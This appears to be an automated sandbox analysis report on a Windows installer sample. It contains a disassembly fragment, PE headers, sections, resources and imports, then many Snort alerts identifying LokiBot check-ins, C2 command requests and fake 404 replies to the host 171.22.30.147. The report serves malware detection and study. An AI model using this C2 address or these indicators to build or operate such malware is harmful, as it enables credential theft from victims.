mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007FA394F59AAAh
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FA394F59A7Ah
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A318h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b000	0x36cc8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6676	0x6800	False	0.6568134014423077	data	6.4174599871908855	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.4498046875	data	5.141066817170598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	False	0.509765625	data	4.110582127654237	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x10000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3b000	0x36cc8	0x36e00	False	0.5640527121298405	data	5.89509487306669	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3b358	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States
RT_ICON	0x4bb80	0xe91b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x5a4a0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States
RT_ICON	0x63948	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States
RT_ICON	0x68dd0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States
RT_ICON	0x6cff8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x6f5a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x70648	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x70fd0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x71438	0x100	data	English	United States
RT_DIALOG	0x71538	0x11c	data	English	United States
RT_DIALOG	0x71658	0x60	data	English	United States
RT_GROUP_ICON	0x716b8	0x84	data	English	United States
RT_VERSION	0x71740	0x244	data	English	United States
RT_MANIFEST	0x71988	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3171.22.30.14749901802021641 01/05/23-08:53:11.357263	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49901	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749708802024318 01/05/23-08:52:10.789251	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49708	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749962802021641 01/05/23-08:53:29.855666	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49962	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750036802024318 01/05/23-08:53:51.046851	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50036	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749708802024313 01/05/23-08:52:10.789251	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49708	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749769802024318 01/05/23-08:52:30.825016	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49769	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749900802825766 01/05/23-08:53:10.997847	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49900	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498192025483 01/05/23-08:52:46.374891	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49819	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500282025483 01/05/23-08:53:48.934068	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50028	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750008802024313 01/05/23-08:53:42.094852	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50008	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749933802825766 01/05/23-08:53:20.043516	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49933	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749994802825766 01/05/23-08:53:38.408241	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49994	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749934802021641 01/05/23-08:53:20.304475	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49934	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750003802024318 01/05/23-08:53:40.763519	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50003	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750069802024313 01/05/23-08:53:59.913079	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50069	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749736802024318 01/05/23-08:52:21.543284	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49736	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750064802024318 01/05/23-08:53:58.597698	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50064	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750019802025381 01/05/23-08:53:45.311637	TCP	2025381	ET TROJAN LokiBot Checkin	50019	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750008802024318 01/05/23-08:53:42.094852	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50008	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750064802024313 01/05/23-08:53:58.597698	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50064	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499102025483 01/05/23-08:53:13.814649	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49910	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749797802024313 01/05/23-08:52:40.255110	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749736802024313 01/05/23-08:52:21.543284	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749797802024318 01/05/23-08:52:40.255110	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49797	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749810802825766 01/05/23-08:52:43.863274	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49810	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499402025483 01/05/23-08:53:21.975366	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49940	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749967802021641 01/05/23-08:53:31.230819	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49967	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497942025483 01/05/23-08:52:39.518919	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49794	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499512025483 01/05/23-08:53:25.015955	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49951	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750031802024313 01/05/23-08:53:49.661487	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50031	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749703802024318 01/05/23-08:52:08.565296	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49703	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750031802024318 01/05/23-08:53:49.661487	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50031	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750036802024313 01/05/23-08:53:51.046851	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50036	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749905802825766 01/05/23-08:53:12.409052	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49905	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499922025483 01/05/23-08:53:37.966887	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49992	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749731802024318 01/05/23-08:52:20.113614	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49731	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749843802825766 01/05/23-08:52:54.266621	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49843	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749731802024313 01/05/23-08:52:20.113614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749714802025381 01/05/23-08:52:13.349412	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500172025483 01/05/23-08:53:44.615644	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50017	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749811802021641 01/05/23-08:52:44.140113	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749815802825766 01/05/23-08:52:45.213789	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49815	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750014802025381 01/05/23-08:53:43.719267	TCP	2025381	ET TROJAN LokiBot Checkin	50014	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749931802025381 01/05/23-08:53:19.484274	TCP	2025381	ET TROJAN LokiBot Checkin	49931	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749792802024313 01/05/23-08:52:38.887901	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749792802024318 01/05/23-08:52:38.887901	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49792	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749876802825766 01/05/23-08:53:03.175112	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49876	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749747802025381 01/05/23-08:52:24.577114	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749816802021641 01/05/23-08:52:45.483412	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49816	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750075802025381 01/05/23-08:54:01.517358	TCP	2025381	ET TROJAN LokiBot Checkin	50075	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497532025483 01/05/23-08:52:26.405615	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49753	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749719802025381 01/05/23-08:52:15.841614	TCP	2025381	ET TROJAN LokiBot Checkin	49719	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749920802024313 01/05/23-08:53:16.511672	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49920	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750047802025381 01/05/23-08:53:54.007519	TCP	2025381	ET TROJAN LokiBot Checkin	50047	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749742802025381 01/05/23-08:52:23.189713	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749782802021641 01/05/23-08:52:36.098088	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497342025483 01/05/23-08:52:21.057098	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49734	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497642025483 01/05/23-08:52:29.564114	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49764	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749903802025381 01/05/23-08:53:11.877542	TCP	2025381	ET TROJAN LokiBot Checkin	49903	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749920802024318 01/05/23-08:53:16.511672	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49920	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750070802025381 01/05/23-08:54:00.166694	TCP	2025381	ET TROJAN LokiBot Checkin	50070	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749871802825766 01/05/23-08:53:01.829225	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49871	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500692025483 01/05/23-08:53:59.993977	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50069	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749990802021641 01/05/23-08:53:37.383838	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49990	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497752025483 01/05/23-08:52:32.764869	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49775	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749995802021641 01/05/23-08:53:38.676723	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49995	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750069802024318 01/05/23-08:53:59.913079	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50069	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750016802825766 01/05/23-08:53:44.267939	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50016	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497232025483 01/05/23-08:52:17.901079	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49723	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497122025483 01/05/23-08:52:12.517516	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49712	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500582025483 01/05/23-08:53:57.081819	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50058	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749764802024313 01/05/23-08:52:29.472789	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750042802025381 01/05/23-08:53:52.687057	TCP	2025381	ET TROJAN LokiBot Checkin	50042	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497012025483 01/05/23-08:52:07.816134	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49701	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749769802024313 01/05/23-08:52:30.825016	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499702025483 01/05/23-08:53:32.118296	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49970	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499812025483 01/05/23-08:53:35.036033	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49981	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500472025483 01/05/23-08:53:54.088522	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50047	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749764802024318 01/05/23-08:52:29.472789	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49764	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749848802825766 01/05/23-08:52:55.640788	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49848	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749977802024318 01/05/23-08:53:33.899852	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49977	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749777802825766 01/05/23-08:52:34.550245	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49777	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500092025483 01/05/23-08:53:42.451776	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50009	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749717802021641 01/05/23-08:52:14.673219	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749786802825766 01/05/23-08:52:37.217550	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49786	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500062025483 01/05/23-08:53:41.632805	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50006	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749726802021641 01/05/23-08:52:18.702884	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749916802024318 01/05/23-08:53:15.372296	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49916	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749925802024313 01/05/23-08:53:17.874226	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49925	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750021802021641 01/05/23-08:53:46.361205	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50021	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750044802825766 01/05/23-08:53:53.227481	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50044	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749916802024313 01/05/23-08:53:15.372296	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49916	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750053802825766 01/05/23-08:53:55.636070	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50053	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749754802021641 01/05/23-08:52:26.655822	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749813802025381 01/05/23-08:52:44.686594	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749944802024318 01/05/23-08:53:23.021157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49944	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749745802021641 01/05/23-08:52:24.023320	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749749802825766 01/05/23-08:52:25.162571	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49749	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750078802021641 01/05/23-08:54:02.320663	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50078	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749969802025381 01/05/23-08:53:31.782144	TCP	2025381	ET TROJAN LokiBot Checkin	49969	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749804802025381 01/05/23-08:52:42.167879	TCP	2025381	ET TROJAN LokiBot Checkin	49804	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498792025483 01/05/23-08:53:04.056744	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49879	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749802802024313 01/05/23-08:52:41.641382	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498682025483 01/05/23-08:53:01.111667	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49868	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750072802825766 01/05/23-08:54:00.683642	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50072	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749898802025381 01/05/23-08:53:09.845609	TCP	2025381	ET TROJAN LokiBot Checkin	49898	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749944802024313 01/05/23-08:53:23.021157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49944	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750012802021641 01/05/23-08:53:43.190304	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50012	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750025802825766 01/05/23-08:53:48.086655	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50025	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497042025483 01/05/23-08:52:09.015467	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49704	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749986802024318 01/05/23-08:53:36.285692	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49986	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749986802024313 01/05/23-08:53:36.285692	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49986	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749773802021641 01/05/23-08:52:31.909319	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500392025483 01/05/23-08:53:51.948003	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50039	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749821802024313 01/05/23-08:52:46.829983	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749841802025381 01/05/23-08:52:53.743125	TCP	2025381	ET TROJAN LokiBot Checkin	49841	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749844802021641 01/05/23-08:52:54.549139	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749988802025381 01/05/23-08:53:36.817903	TCP	2025381	ET TROJAN LokiBot Checkin	49988	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749775802025381 01/05/23-08:52:32.683406	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750059802021641 01/05/23-08:53:57.279795	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50059	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749821802024318 01/05/23-08:52:46.829983	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49821	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749939802021641 01/05/23-08:53:21.632432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49939	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749999802825766 01/05/23-08:53:39.715844	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49999	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749887802024318 01/05/23-08:53:06.117016	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49887	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498082025483 01/05/23-08:52:43.407695	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49808	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749887802024313 01/05/23-08:53:06.117016	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49887	80	192.168.2.3	171.22.30.147
